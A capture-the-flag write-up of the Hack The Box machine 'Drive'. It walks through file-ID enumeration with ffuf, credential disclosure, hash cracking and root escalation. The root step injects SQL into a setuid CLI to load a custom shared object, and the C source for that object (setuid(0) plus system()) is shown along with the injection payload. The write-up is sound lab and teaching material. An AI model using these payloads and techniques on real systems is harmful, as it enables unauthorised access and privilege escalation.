HTB: Drive¶
Summary with Spoilers
- This machine featured a vulnerable
getFileDetail
endpoint in a Django-based application, which allowed me to enumerate accessible files. - I found credentials in a disclosed file and used them to access the target via SSH as
martin
. - Privilege escalation was achieved by exploiting a
setuid
binary, leveraging SQL injection to load a custom shared object for code execution asroot
.
Enumerate¶
$ sudo nmap -n -sCV -T4 -p1-65535 $t
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-15 16:04 CDT
Nmap scan report for 10.10.11.235
Host is up (0.27s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I add the drive.htb
vhost to /etc/hosts
and check out the website:
$ curl -I http://drive.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 15 Oct 2023 21:04:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 14647
Connection: keep-alive
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: csrftoken=zDIz4tFXgCph42CIf2Soa21PCsDJtav6; expires=Sun, 13 Oct 2024 21:04:18 GMT; Max-Age=31449600; Path=/; SameSite=Lax
Rendered:
Exploit¶
I'm able to create a user account and explore. There is an endpoint called getFileDetail
that fetches files via a file ID, which appears to be a sequential integer. This allows me to discover valid file IDs, which return a permission error instead of 404
. I grab the session cookie via Burp and run ffuf
:
$ c='csrftoken=HbHmux4Xan3o9FNfHjsTwIZ9Kzmp8ezn; sessionid=evaxi8pqab9j0ocxhvnqojwo68x25k5x'
$ ffuf -b "$c" -w ~/w -u http://drive.htb/FUZZ/getFileDetail/ -fs 82
[...]
________________________________________________
:: Method : GET
:: URL : http://drive.htb/FUZZ/getFileDetail/
:: Wordlist : FUZZ: /home/e/w
:: Header : Cookie: csrftoken=HbHmux4Xan3o9FNfHjsTwIZ9Kzmp8ezn; sessionid=evaxi8pqab9j0ocxhvnqojwo68x25k5x
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 82
________________________________________________
79 [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 301ms]
99 [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 299ms]
98 [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 320ms]
101 [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 302ms]
100 [Status: 200, Size: 5078, Words: 1147, Lines: 172, Duration: 313ms]
114 [Status: 200, Size: 6180, Words: 1846, Lines: 221, Duration: 282ms]
:: Progress: [200/200] :: Job [1/1] :: 126 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
The endpoint http://drive.htb/FILEID/block does not enforce file permissions, so I'm able to view the contents of those files, e.g.:
The interesting files are included below.
hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@Kj[...]".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks!
hi team!
me and my friend(Cris) created a new scheduled backup plan for the database
the database will be automatically highly compressed and copied to /var/www/backups/ by a small bash script every day at 12:00 AM
*Note: the backup directory may change in the future!
*Note2: the backup would be protected with strong password! don't even think to crack it guys! :)
The password above works for ssh
login as user martin
, although there's no user flag just yet:
$ ssh martin@$t
martin@10.10.11.235's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
[...]
Last login: Sun Oct 15 06:21:57 2023 from 10.10.14.12
martin@drive:~$ find .
.
./.profile
./.bashrc
./.cache
./.cache/motd.legal-displayed
./snap
./snap/lxd
./snap/lxd/common
./snap/lxd/common/config
./snap/lxd/common/config/config.yml
./snap/lxd/24061
./snap/lxd/current
./.ssh
./.ssh/known_hosts
./.bash_history
./.bash_logout
./.gnupg
./.gnupg/trustdb.gpg
./.gnupg/private-keys-v1.d
./.gnupg/pubring.kbx
I can view the sqlite3
database mentioned above and grab some hashes:
martin@drive:/var/www/backups$ sqlite3 db.sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> show tables
...> ;
Error: near "show": syntax error
sqlite> .tables
accounts_customuser auth_permission
accounts_customuser_groups django_admin_log
accounts_customuser_user_permissions django_content_type
accounts_g django_migrations
accounts_g_users django_session
auth_group myApp_file
auth_group_permissions myApp_file_groups
sqlite> select * from accounts_customuser;
21|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a|2022-12-26 05:48:27.497873|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04
22|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f|2022-12-24 12:55:10|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02
23|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004|2022-12-24 13:17:45|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f|2022-12-24 16:51:53|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15
30|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3|2022-12-26 05:43:40.388717|1|admin|||admin@drive.htb|1|1|2022-12-26 05:30:58.003372
I crack one for the user tom@drive.htb
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Great, but database backups are password-protected 7z
archives.
The Gitea service is running on localhost
where the developers seem to be keeping their code. I'm able to create a new Gitea user, but there's nothing interesting shared with unprivileged users. However, I'm able to login as martin@drive.htb
with the same password as above, Xk4@Kj[…]
.
From here I can view the source code for the db_backup.sh
script, which includes the archive password:
I'm able to decrypt and extract all the database backups using that password. All the users have crack-resistent password hashes, except for tom
. I recover multiple passwords for that user, but the 1_Dec_db_backup.sqlite3.7z
archive has what I want:
$ hashcat --show hash_1nov.txt
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
124 | Django (SHA-1) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnma[...]
This works for ssh
login as user tom
, where I discover the user flag:
martin@drive:/tmp/...$ su - tom
Password: [johnma...]
tom@drive:~$ cat user.txt
3e76a0[...]
Escalate¶
I discover a setuid
binary related to a new development project:
tom@drive:~$ cat README.txt
Hi team
after the great success of DoodleGrive, we are planning now to start working on our new project: "DoodleGrive self hosted",it will allow our customers to deploy their own documents sharing platform privately on thier servers...
However in addition with the "new self Hosted release" there should be a tool(doodleGrive-cli) to help the IT team in monitoring server status and fix errors that may happen.
As we mentioned in the last meeting the tool still in the development phase and we should test it properly...
We sent the username and the password in the email for every user to help us in testing the tool and make it better.
If you face any problem, please report it to the development team.
Best regards.
tom@drive:~$ ls -la
total 916
drwxr-x--- 6 tom tom 4096 Sep 13 13:51 .
drwxr-xr-x 6 root root 4096 Dec 25 2022 ..
lrwxrwxrwx 1 root root 9 Sep 6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom tom 220 Dec 25 2022 .bash_logout
-rw-r--r-- 1 tom tom 3771 Dec 25 2022 .bashrc
drwx------ 3 tom tom 4096 Jan 1 2023 .cache
drwx------ 3 tom tom 4096 Feb 3 2023 .config
-rwSr-x--- 1 root tom 887240 Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom tom 4096 Jan 1 2023 .gnupg
drwxrwxr-x 3 tom tom 4096 Dec 28 2022 .local
-rw-r--r-- 1 tom tom 807 Dec 25 2022 .profile
-rw-r----- 1 root tom 719 Feb 11 2023 README.txt
-rw-r----- 1 root tom 33 Oct 18 17:06 user.txt
-rw-r--r-- 1 tom tom 39 Aug 29 05:59 .vimrc
The binary is password-protected but the password is plaintext discoverable via strings
, along with a few command-lines and SQL statements that will be useful later:
tom@drive:~$ strings doodleGrive-cli
[...]
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'SELECT id,last_login,is_superuser,username,email,is_staff,is_active,date_joined FROM accounts_customuser;'
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'SELECT id,name FROM accounts_g;'
/usr/bin/sudo -u www-data /opt/server-health-check.sh
Enter username to activate account:
Error: Username cannot be empty.
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";'
Activating account for user '%s'...
/usr/bin/sudo -u www-data /usr/bin/tail -1000 /var/log/nginx/access.log
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option:
exiting...
please Select a valid option...
PATH
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
Enter password for
moriarty
findMe[...]
Escalate¶
The binary offers several options which trigger various commands or SQL queries. Only one of them allows user input, the activate user account
option. This takes a username as input and passes it to this SQL statement:
UPDATE accounts_customuser SET is_active=1 WHERE username="%s";
This is an SQL injection opportunity. This database has load_extension
enabled, which we can exploit via a custom shared object:
tom@drive:~$ cat x.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/usr/bin/cat /root/root.txt");
}
$ gcc -shared x.c -o x.so -nostartfiles -fPIC
Now I can trigger the SQLi. I have to obfuscate the path ("./x
") using char(46,47,120)
because /
characters are filtered out. This reveals the root
flag:
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
findMe[...]
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "=load_extension(char(46,47,120))--
Activating account for user '"=load_extension(char(46,47,120))-- '...
e3ed9ed[...]